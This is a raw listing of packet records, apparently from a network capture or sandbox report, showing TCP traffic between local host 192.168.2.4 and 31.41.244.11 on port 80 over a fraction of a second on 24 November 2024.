Nov 24, 2024 14:24:19.227421045 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.227423906 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.227473021 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.229229927 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.229281902 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.229356050 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.229410887 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.231365919 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.231420994 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.231432915 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.231472015 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.233458996 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.233510971 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.233593941 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.233652115 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.235601902 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.235636950 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.235656023 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.235685110 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.237690926 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.237747908 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.237771988 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.237827063 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.239830971 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.239881039 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.239927053 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.239980936 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.242043018 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.242098093 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.242235899 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.242289066 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.244158983 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.244204044 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.244259119 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.244308949 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.246176958 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.246233940 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.246265888 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.246318102 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.248279095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.248342991 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.248388052 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.248442888 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.250483036 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.250586987 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.250587940 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.250639915 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.252521038 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.252590895 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.252670050 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.252724886 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.254595995 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.254651070 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.254722118 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.254774094 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.256736040 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.256791115 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.256861925 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.256916046 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.258822918 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.258877993 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.258974075 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.259025097 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.260951996 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.261012077 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.261066914 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.261121035 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.263093948 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.263151884 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.263185978 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.263242006 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.265165091 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.265223980 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.265302896 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.265355110 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.267287970 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.267360926 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.267421961 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.267472029 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.269407034 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.269460917 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.269604921 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.269654036 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.271521091 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.271574974 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.271598101 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.271652937 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.365536928 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.365569115 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.365596056 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.365643024 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.366002083 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.366061926 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.366149902 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.366205931 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.367682934 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.367739916 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.367918015 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.367974997 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.369386911 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.369441986 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.369532108 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.369590044 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.371114969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.371171951 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.371200085 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.371267080 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.372728109 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.372792959 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.372842073 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.372900009 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.374346018 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.374403000 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.374489069 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.374558926 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.375998974 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.376059055 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.376128912 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.376190901 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.377568007 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.377623081 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.377686024 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.377741098 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.379152060 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.379206896 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.379276037 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.379348993 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.380805016 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.380861044 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.380875111 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.380928993 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.382292986 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.382350922 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.382410049 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.382464886 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.383812904 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.383866072 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.383949041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.384001970 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.385344028 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.385399103 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.385468960 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.385525942 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.386936903 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.386995077 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.387026072 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.387093067 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.388439894 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.388494968 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.388557911 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.388609886 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.389925957 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.389986992 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.390050888 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.390108109 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.391398907 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.391449928 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.391477108 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.391526937 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.392863035 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.392924070 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.393011093 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.393070936 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.394421101 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.394476891 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.394608021 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.394659996 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.395761967 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.395817995 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.395872116 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.395929098 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.397176027 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.397227049 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.397294998 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.397368908 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.398684978 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.398740053 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.398824930 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.398879051 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.400078058 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.400132895 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.400207043 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.400259018 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.401552916 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.401607037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.401647091 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.401700020 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.402951002 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.403009892 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.403086901 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.403136015 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.404428005 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.404484034 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.404552937 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.404612064 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.405867100 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.405922890 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.405987024 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.406043053 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.407375097 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.407403946 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.407439947 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.407439947 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.408792019 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.408849001 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.408854961 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.408894062 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.410200119 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.410252094 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.410293102 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.410342932 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.411609888 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.411660910 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.411734104 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.411783934 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.413083076 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.413146973 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.413206100 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.413275003 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.414505005 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.414556980 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.414618015 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.414669037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.416138887 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.416198015 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.416207075 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.416248083 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.417443037 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.417501926 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.417578936 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.417637110 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.419039965 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.419091940 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.419115067 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.419161081 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.420269966 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.420320034 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.420382023 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.420430899 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.421758890 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.421808004 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.421864033 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.421926975 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.423172951 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.423224926 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.423263073 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.423309088 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.424604893 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.424654007 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.424721956 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.424767971 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.426107883 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.426156998 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.426199913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.426248074 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.427525043 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.427575111 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.427615881 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.427664042 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.428940058 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.428987980 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.429058075 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.429104090 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.430370092 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.430418968 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.430484056 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.430531025 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.431834936 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.431883097 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.431929111 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.431976080 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.433298111 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.433348894 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.433402061 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.433449984 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.434843063 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.434891939 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.434892893 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.434937954 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.436255932 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.436306000 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.436376095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.436422110 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.437618017 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.437675953 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.437714100 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.437761068 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.439042091 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.439088106 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.439152002 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.439194918 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.440496922 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.440537930 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.440614939 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.440658092 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.442003965 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.442049026 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.442110062 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.442152023 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.443413019 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.443459034 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.566643953 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.566720009 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.566729069 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.566785097 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.567356110 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.567414999 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.567536116 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.567584038 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.568775892 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.568825006 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.568883896 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.568932056 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.570230007 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.570280075 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.570318937 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.570369005 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.571645021 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.571692944 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.571795940 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.571841002 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.573112965 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.573162079 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.573302031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.573350906 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.574562073 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.574611902 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.574670076 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.574718952 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.576025009 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.576073885 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.576150894 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.576215029 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.577439070 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.577490091 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.577533007 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.577580929 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.578876972 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.578923941 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.578989983 CET	80	49778	31.41.244.11	192.168.2.4
